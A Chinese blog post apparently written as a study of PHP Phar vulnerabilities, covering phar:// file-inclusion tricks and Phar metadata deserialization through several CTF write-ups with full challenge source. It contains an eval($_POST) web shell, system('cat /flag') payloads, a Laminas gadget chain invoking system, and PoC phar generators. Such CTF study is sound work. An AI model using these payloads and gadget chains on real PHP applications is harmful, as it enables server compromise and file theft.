浅析Phar漏洞

浅析Phar漏洞

Phar简介

phar,全称为PHP Archive,phar扩展提供了一种将整个PHP应用程序放入.phar文件中的方法,以方便移动、安装。.phar文件的最大特点是将几个文件组合成一个文件的便捷方式,.phar文件提供了一种将完整的PHP程序分布在一个文件中并从该文件中运行的方法。

简单来说,phar最特别的地方就在于它的归档功能,可以将phar文件类比为一个压缩文件

Phar文件结构

1.a stub

stub是phar文件的文件头,也可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面和中间xxx部分的内容不限,可以是任意字符,包括留空,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2.a manifest describing the contents

phar文件本质上是一种压缩文件,这里就储存着phar文件中被压缩的文件的一些信息,而其中最关键的就是Meta-data部分的信息会以序列化的形式储存,这里就是phar反序列化漏洞的触发点

3.the file contents

被压缩文件的内容。

4.a signature for verifying Phar integrity(可选)

放在末尾的签名

一个简单的phar文件

<?php
    class example {}
    $o = new example();
    @unlink("example.phar");
    $phar = new Phar("example.phar"); //后缀必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //stub设置
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "this is a test"); //添加要压缩的文件
    $phar->stopBuffering();//签名自动计算
?>

Phar demo

在php中,默认phar扩展是只读模式,如果想要生成Phar文件,要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

Phar文件生成

需要将将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件,默认状态下是On

PS:这里需要注意一定要将phar.readonly前面的;给去掉

phar.php

<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='a';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

最后访问或运行phar.php即可生成phar文件

Phar文件上传漏洞

使用Phar://伪协议流可以Bypass一些上传的waf,大多数情况下和文件包含一起使用,类似于压缩包(其实就是一个压缩包)

phar://伪协议

php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压,类似于zip://伪协议

用法:

?file=phar://压缩包/内部文件 

shell.php

<?php phpinfo();?>

然后将shell.php压缩,然后改名为shell.jpg

include.php

<?php 
include('phar://shell.jpg/shell.php');
?>

[NISACTF 2022]bingdundun

存在文件包含,会自动加上.php

在根据提示只能上传图片和压缩包,所以判断应该是上传phar文件,在包含phar文件执行恶意代码

phar文件内容

<?php
    $phar = new Phar("exp.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
    $phar->addFromString("shell.php", '<?php eval($_POST[shell]);?>'); 
    $phar->stopBuffering();
?>

生成phar文件后再改后缀为.zip

上传后获得地址

利用phar协议进行包含

?bingdundun=phar:///var/www/html/cfd542b4d5b47b4d02051af4a7d87491.zip/shell

最后蚁剑连接,根目录下获得flag

[BMZCTF]phar??

查看源码

include.php

查看源码

同时告诉了一个参数:file

尝试随便包含一下

仔细查看报错他会在你包含的文件后面加上一个.php

没法上传php文件

可以上传jpg文件

获取到的地址也能访问

简单思路

利用文件包含来触发文件上传的漏洞

这里可以先使用伪协议来读源码

?file=php://filter/read=convert.base64-encode/resource=xxx.php

include.php

<html>
Tips: the parameter is file! :) 
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
    
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
    
            echo "<p> error! </p>";
        }
        else
        {
    
            include($file.'.php');
        }
    }
?>

过滤了一些东西,然后在末尾加了.php

upload.php

<?php
if(!empty($_FILES["file"]))
{
    
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
    
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
    
        echo "upload failed!";
    }
}
?>

白名单过滤

然后就可以开始尝试了

创建一个1.php,内容为<?php phpinfo();?>,然后压缩成压缩包,之后改后缀为jpg,然后上传

payload

include.php?file=phar://upload/1.jpg/1

接下来改下内容重新上传即可

2.php

<?php system('cat /flag'); ?>

Phar反序列化漏洞

PS:在php中,默认phar扩展是只读模式,如果想要生成Phar文件,要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

成因

在使用phar://协议读取文件时,文件会被解析成phar,而在解析过程中会触发php_var_unserialize()函数对序列化后meta-data的操作,造成反序列化。

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

知道创宇(Seebug)总结出受影响的函数如下

利用条件

1.能够进行phar文件上传
2.能够构造pop链或有魔术方法可用
3.参数可控

[红明谷ctf]Fan website

考点:

1.phar反序列化

dirsearch扫出了www.zip,下载下来获得源码

网上找个链子Zend FrameWork Pop Chain - 先知社区 (aliyun.com)

用其中的这条

<?php

namespace Laminas\View\Resolver{
    class TemplateMapResolver{
        protected $map = ["setBody"=>"system"];
    }
}
namespace Laminas\View\Renderer{
    class PhpRenderer{
        private $__helpers;
        function __construct(){
            $this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
        }
    }
}


namespace Laminas\Log\Writer{
    abstract class AbstractWriter{}

    class Mail extends AbstractWriter{
        protected $eventsToMail = ["ls"];  
        protected $subjectPrependText = null;
        protected $mail;
        function __construct(){
            $this->mail = new \Laminas\View\Renderer\PhpRenderer();
        }
    }
}

namespace Laminas\Log{
    class Logger{
        protected $writers;
        function __construct(){
            $this->writers = [new \Laminas\Log\Writer\Mail()];
        }
    }
}


namespace{
$a = new \Laminas\Log\Logger();
echo base64_encode(serialize($a));
}

现在目标就是找到一个触发点

在这个路径下/module/Album/src/Controller/AlbumController.php,发现可以实现文件上传

文件删除

public function imgdeleteAction()
    {
        $request = $this->getRequest();
        if(isset($request->getPost()['imgpath'])){
            $imgpath = $request->getPost()['imgpath'];
            $base = substr($imgpath,-4,4);
            if(in_array($base,$this->white_list)){     //白名单
                @unlink($imgpath);
            }else{
                echo 'Only Img File Can Be Deleted!';
            }
        }
    }

文件上传

public function imguploadAction()
    {
        $form = new UploadForm('upload-form');

        $request = $this->getRequest();
        if ($request->isPost()) {
            // Make certain to merge the $_FILES info!
            $post = array_merge_recursive(
                $request->getPost()->toArray(),
                $request->getFiles()->toArray()
            );

            $form->setData($post);
            if ($form->isValid()) {
                $data = $form->getData();
                $base = substr($data["image-file"]["name"],-4,4);
                if(in_array($base,$this->white_list)){   //白名单限制
                    $cont = file_get_contents($data["image-file"]["tmp_name"]);
                    if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
                        die("Not This");
                    }
                    if($data["image-file"]["size"]<3000){
                        die("The picture size must be more than 3kb");
                    }
                    $img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
                    echo $img_path;
                    $form->saveImg($data["image-file"]["tmp_name"],$img_path);
                }else{
                    echo 'Only Img Can Be Uploaded!';
                }
                // Form is valid, save the form!
                //return $this->redirect()->toRoute('upload-form/success');
            }
        }

看这段

if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
                        die("Not This");
                    }
                    if($data["image-file"]["size"]<3000){
                        die("The picture size must be more than 3kb");
                    }

对我们上传的文件做了一些限制

1.不能出现<?php __HALT_COMPILER()  可用gzip方式绕过
2.上传的文件大小必须大于3kb

delete函数中

if(in_array($base,$this->white_list)){     //白名单
                @unlink($imgpath);

unlink()函数是文件操作函数,可以触发phar反序列化的

结合以上信息,有链子,有触发点

很显然这题应该就是phar反序列化了

审计代码发现有个album路由,所以访问imguploadAction()方法也就是访问album/imgupload

POC

<?php

namespace Laminas\View\Resolver{
    class TemplateMapResolver{
        protected $map = ["setBody"=>"system"];
    }
}
namespace Laminas\View\Renderer{
    class PhpRenderer{
        private $__helpers;
        function __construct(){
            $this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
        }
    }
}


namespace Laminas\Log\Writer{
    abstract class AbstractWriter{}

    class Mail extends AbstractWriter{
        protected $eventsToMail = ["cat /flag"];  
        protected $subjectPrependText = null;
        protected $mail;
        function __construct(){
            $this->mail = new \Laminas\View\Renderer\PhpRenderer();
        }
    }
}

namespace Laminas\Log{
    class Logger{
        protected $writers;
        function __construct(){
            $this->writers = [new \Laminas\Log\Writer\Mail()];
        }
    }
}


namespace{
    $a = new \Laminas\Log\Logger();
    $phar = new Phar("shell.phar"); 
    $phar -> setStub("撑起大小啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊<?php __HALT_COMPILER(); ?>"); 
    $phar -> setMetadata($a);
    $phar -> addFromString("test.txt",""); 
    $phar -> stopBuffering();
}
?>

首先利用这个本地生成shell.phar

之后拿到kali去gzip,gzip shell.phar,然后改个后缀,改成shell.jpg

到album/imgupload去上传,成功后会返回路径,最后在album/delete去触发它即可获得flag

[SWPUCTF 2018]SimplePHP

启动题目,在查看文件处发现url变化

此处存在文件包含,令file为file.php,获得源码

/file.php?file=file.php

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

据此获取其他页面源码

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

index.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'base.php';
?> 

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

全局并没有一个unserialize(),那怎么构造反序列化呢?仔细看看,符合phar文件反序列化的3个条件

1.能够进行phar文件上传
2.能够构造pop链或有魔术方法可用
3.参数可控

所以接下来找pop链

class.php

class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

__destruct()方法中,有个敏感词echo,可以利用echo来触发__toString()

class.php

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;        
    }
}

在show类中找到__toString(),所以令C1e4r类中的$test为new Show()即可触发__toString()

$content = $this->str['str']->source;

class.php

class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
}

Test类中有__get()方法

__get()当未定义的属性或没有权限访问的属性被访问时该方法会被调用。

__toString()方法中$this->str['str']为new Test(),然后再去调用source属性,由于Test类中没有source属性,所以就会调用__get()方法,接着去调用get()方法和file_get()方法,最后利用file_get_contents写入shell

class Test
{
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

pop链

__destruct()->__toString()->__get()->get()->file_get()->file_get_contents()

poc

<?php
class C1e4r
{
    public $test;
    public $str;

}

class Show
{
    public $source;
    public $str;

}
class Test
{
    public $file;
    public $params;

}
$a = new C1e4r();
$b = new Show();
$c = new Test();
$c->params['source'] = "/var/www/html/f1ag.php";
$a->str = $b;
$b->str['str'] = $c;

$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->addFromString("shell.txt", "shell"); //生成签名
$phar->stopBuffering();
?>

访问或运行poc后生成shell.phar文件

在function.php中规定了能上传的文件类型

$allowed_types = array("gif","jpeg","jpg","png"); 

所以需要把shell.phar改为shell.jpg

上传之后,根据function.php中的规定可以计算出上传的文件名

$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 

其中$_FILES["file"]["name"]=shell.jpg

所以$_SERVER["REMOTE_ADDR"]就为题目的ip

对其进行md5即可获得文件名

<?php
$ip="xxxx";
echo md5("shell.jpg".$ip);
?>

此题upload目录是直接开放的,所以还可以直接去upload目录下看文件名

得到的文件名和计算出来的肯定是一样的

最后利用phar://伪协议读取上传的phar文件即可

file.php?file=phar://upload/be96ef78a67d60869b97b11b915ae6b3.jpg	

解base64得到flag

[CISCN2019 华北赛区 Day1 Web1]Dropbox

启动题目,简单注册登录后

什么有用的信息都没发现,但这里可以上传文件,随便上传个文件试试

只能上传jpg和png,上传成功后返现可以对文件进行下载和删除

burp截包,在下载时发现文件名是可控的

所以可以目录穿越下载每个功能的源码

image-20220622123733305

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>缃戠洏绠$悊</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">绠$悊闈㈡澘</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">涓婁紶鏂囦欢</label></li>
        <li class="active ml-auto"><a href="#">浣犲ソ <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

upload.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>

class.php中的File类中发现file_get_contents(),所以接下来寻找pop链,来调用file_get_contents()

在Usr类中的__destruct()中发现$this->db->close();,这样可以直接指向File类中发现file_get_contents()

class User {
    public $db;
    public function __construct() {
        global $db;
        $this->db = $db;
    }    
    public function __destruct() {
        $this->db->close();
    }
}

但问题在于把flag写进去后因为close()方法中用的时return,所以无法输出写入的flag

public function close() {
        return file_get_contents($this->filename);
    }

所以这里需要找到其他的调用链,其中有能利用的用来输出flag的东西

在FileList类中发现__call()方法,所以令$this->db=new FileList(),由于FileList类中没有close()方法,所以就会调用__call方法

function __call(string $function_name, array $arguments)

{

    // 方法体

}
//第一个参数 $function_name 会自动接收不存在的方法名
//第二个 $arguments 则以数组的方式接收不存在方法的多个参数
public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) { 
            $this->results[$file->name()][$func] = $file->$func();

其中$func成员变量储存着的就是不存在的方法名

$file就是上传文件的file对象

results[][]是个二维数组,其中第一维存储的上传的文件名,第二维存储的是调用不存在的方法后所返回的结果,一个方法对应一个结果

再简单介绍下__call的一些特性

<?php
class Example {
    public function __call($name,$arguments){
        print("调用$name"."Function()方法吗<br/>");
        $a="$name"."Function";
        $this->$a();
    }
    public function TestFunction(){
        echo "成功调用了TestFunction()方法";
    }
}
$a=new Example;
$a->Test();

//result:
//调用TestFunction()方法吗
//成功调用了TestFunction()方法

因为最后有$file->$func(),而func则是由Usr类中的__destruct()所传过来的close方法名,而$file也是可控的,所以只需令$file为new File(),就可以调用到File中的close方法

public function close() {
        return file_get_contents($this->filename);
    }

令filename为flag.txt即可读取到flag值

读取后应该怎么回显出来呢?

同样在FileList类中的 __destruct()方法中,输出了$table,而$table变量中由成员变量存有刚刚读取的flag.txt

public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }

其中$filename是上传的文件名,而这里的result则是存放着所有调用不存在方法后返回的结果,所以通过foreach可以遍历其中的每一个结果,而$value就是单个结果的内容

所以pop链就很清晰了

User->destruct()=>FileList->call()=>File->close()=>FileList->__destruct()

最后还需要找到一个触发点来触发User的__destrcut()

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

其中$file->detele()执行了一个对文件删除的操作,对应着class.php中delete()方法中的unlink函数,而这个函数可以进行文件删除的操作,所以就是用delete来触发。

POC

<?php
class User {
	public $db;
	public function __construct(){
		$this->db=new FileList();
	}
}

class FileList {
	private $files;
	private $results;
	private $funcs;
	public function __construct(){
		$this->files=array(new File());
		$this->results=array();
		$this->funcs=array();
	}
}

class File {
	public $filename="/flag.txt";
}

$a = new User();
$b = new Phar("shell.phar");
$b-> startBuffering();
$b->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$b->setMetadata($a); //将user写入到metadata中
$b->addFromString("shell.txt","haha"); 
$b->stopBuffering();

最后上传后进行删除操作时用phar://协议去读就可以了

image-20220710113633611

posted @ 2022-07-10 11:40  phant0m1  阅读(244)  评论(0编辑  收藏  举报